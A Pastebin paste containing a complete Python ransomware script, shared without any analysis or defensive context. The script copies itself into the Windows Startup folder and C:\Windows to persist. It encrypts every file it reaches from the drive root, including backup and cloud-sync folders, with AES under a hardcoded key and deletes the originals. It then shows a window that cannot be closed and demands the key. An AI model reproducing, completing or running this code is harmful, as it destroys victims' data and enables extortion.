Advertisement
xosski

Crypto slip

Nov 8th, 2024
5
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.97 KB | None | 0 0
  1. import os
  2. import shutil
  3. import sys
  4. import tkinter as tk
  5. from tkinter import messagebox
  6. from Crypto.Cipher import AES
  7. from Crypto.Util.Padding import pad, unpad
  8.  
  9. # Fixed key (for both encryption and decryption)
  10. FIXED_KEY = b"9aF8v6ErY2QaB3tR" # 16 bytes (128 bits)
  11.  
  12. # List of common backup directories to include in encryption
  13. BACKUP_DIRECTORIES = [
  14. "Documents", "Pictures", "Videos", "Backup", "Downloads", # Common personal backup directories
  15. "Google Drive", "OneDrive", "Dropbox", # Cloud storage sync folders
  16. "External Drives" # Any external drives (this could be dynamically detected if needed)
  17. ]
  18.  
  19. # Function to replicate the script into the Windows directory (or startup folder)
  20. def replicate_script():
  21. script_path = sys.argv[0] # Current script's path
  22. startup_folder = os.path.expanduser(r"~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup")
  23. windows_folder = r"C:\Windows"
  24.  
  25. # Replicate the script if not already present in the startup folder or Windows directory
  26. if not os.path.exists(os.path.join(startup_folder, "self_replicating_script.py")):
  27. shutil.copy(script_path, startup_folder)
  28.  
  29. if not os.path.exists(os.path.join(windows_folder, "self_replicating_script.py")):
  30. shutil.copy(script_path, windows_folder)
  31.  
  32. # Function to encrypt a file
  33. def encrypt_file(file_path, key):
  34. with open(file_path, 'rb') as f:
  35. data = f.read()
  36.  
  37. cipher = AES.new(key, AES.MODE_CBC)
  38. encrypted_data = cipher.encrypt(pad(data, AES.block_size))
  39.  
  40. # Save encrypted data with IV and a new .enc extension
  41. with open(file_path + '.enc', 'wb') as f:
  42. f.write(cipher.iv + encrypted_data)
  43.  
  44. os.remove(file_path) # Delete the original file
  45.  
  46. # Function to recursively encrypt files in directories
  47. def encrypt_directory(directory, key):
  48. for root, dirs, files in os.walk(directory):
  49. # Skip system-critical directories to keep the system functional
  50. if 'Windows' in root or 'Program Files' in root or 'System' in root or 'AppData' in root:
  51. continue # Skip this directory and its subdirectories
  52.  
  53. # Encrypt each file in this directory
  54. for file in files:
  55. file_path = os.path.join(root, file)
  56. if not file.endswith(".enc"): # Avoid re-encrypting .enc files
  57. encrypt_file(file_path, key)
  58.  
  59. # Function to recursively encrypt all directories, including backups
  60. def encrypt_all():
  61. root_directory = os.path.abspath(os.sep) # This is the root directory (C:\ on Windows)
  62.  
  63. # Start encryption from the root directory
  64. encrypt_directory(root_directory, FIXED_KEY)
  65.  
  66. # Additionally encrypt common backup directories
  67. for backup_dir in BACKUP_DIRECTORIES:
  68. if os.path.isdir(backup_dir):
  69. encrypt_directory(backup_dir, FIXED_KEY)
  70.  
  71. messagebox.showinfo("Encryption Complete", "All files have been encrypted.")
  72.  
  73. # Function to decrypt a file
  74. def decrypt_file(file_path, key):
  75. with open(file_path, 'rb') as f:
  76. iv = f.read(16) # First 16 bytes are the IV
  77. encrypted_data = f.read()
  78.  
  79. cipher = AES.new(key, AES.MODE_CBC, iv)
  80. decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
  81.  
  82. # Save decrypted data, removing .enc extension
  83. original_file_path = file_path.replace('.enc', '')
  84. with open(original_file_path, 'wb') as f:
  85. f.write(decrypted_data)
  86.  
  87. os.remove(file_path) # Delete the encrypted file
  88.  
  89. # Function to decrypt all files in the system
  90. def decrypt_important_folders():
  91. root_directory = os.path.abspath(os.sep) # This is the root directory (C:\ on Windows)
  92.  
  93. # Decrypt each .enc file in all folders
  94. for root, dirs, files in os.walk(root_directory):
  95. # Skip system-critical directories
  96. if 'Windows' in root or 'Program Files' in root or 'System' in root or 'AppData' in root:
  97. continue
  98.  
  99. for file in files:
  100. file_path = os.path.join(root, file)
  101. if file.endswith(".enc"): # Only decrypt .enc files
  102. decrypt_file(file_path, FIXED_KEY)
  103.  
  104. messagebox.showinfo("Decryption Complete", "All files have been decrypted.")
  105.  
  106. # Check the entered key and decrypt if correct
  107. def check_key():
  108. entered_key = entry.get().strip() # Strip whitespace from the entered key
  109.  
  110. # Convert the entered key into bytes, ensuring proper encoding
  111. entered_key_bytes = entered_key.encode('utf-8') # Convert the entered key to bytes
  112.  
  113. # Compare the entered key bytes with the fixed key bytes
  114. if entered_key_bytes == FIXED_KEY:
  115. decrypt_important_folders() # Start decryption
  116. window.destroy() # Close the window after decryption
  117. remove_script() # Delete the script after decryption
  118. else:
  119. messagebox.showerror("Incorrect Key", "The key you entered is incorrect.")
  120. entry.delete(0, tk.END) # Clear the entry field
  121. entry.focus_set() # Refocus for re-entry
  122.  
  123. # Function to delete the script from the system after decryption
  124. def remove_script():
  125. script_path = sys.argv[0] # Get current script path
  126. try:
  127. # Remove the script from both Windows and startup folders
  128. startup_folder = os.path.expanduser(r"~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup")
  129. windows_folder = r"C:\Windows"
  130.  
  131. if os.path.exists(os.path.join(startup_folder, "self_replicating_script.py")):
  132. os.remove(os.path.join(startup_folder, "self_replicating_script.py"))
  133.  
  134. if os.path.exists(os.path.join(windows_folder, "self_replicating_script.py")):
  135. os.remove(os.path.join(windows_folder, "self_replicating_script.py"))
  136.  
  137. # Finally remove the script itself
  138. os.remove(script_path)
  139. messagebox.showinfo("Self Deletion", "Script deleted successfully.")
  140.  
  141. except Exception as e:
  142. messagebox.showerror("Error", f"An error occurred while trying to delete the script: {e}")
  143.  
  144. # GUI setup
  145. def open_decryption_window():
  146. global window, entry
  147. window = tk.Tk()
  148. window.title("Enter Decryption Key")
  149. window.configure(bg="black")
  150. window.geometry("400x200")
  151.  
  152. # Label
  153. label = tk.Label(window, text="Enter decryption key to unlock files:", fg="red", bg="black", font=("Helvetica", 12))
  154. label.pack(pady=20)
  155.  
  156. # Key entry
  157. entry = tk.Entry(window, show="*", font=("Helvetica", 12))
  158. entry.pack(pady=10)
  159.  
  160. # Button to enter the key
  161. enter_button = tk.Button(window, text="Enter Key", command=check_key, bg="black", fg="red", font=("Helvetica", 12))
  162. enter_button.pack(pady=10)
  163.  
  164. # Prevent closing the window without correct key
  165. window.protocol("WM_DELETE_WINDOW", lambda: None)
  166.  
  167. window.mainloop()
  168.  
  169. # Replicate the script into startup or Windows directory
  170. replicate_script()
  171.  
  172. # Encrypt all files in the system (starting from root and excluding system folders)
  173. encrypt_all()
  174.  
  175. # Open decryption GUI directly
  176. open_decryption_window()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement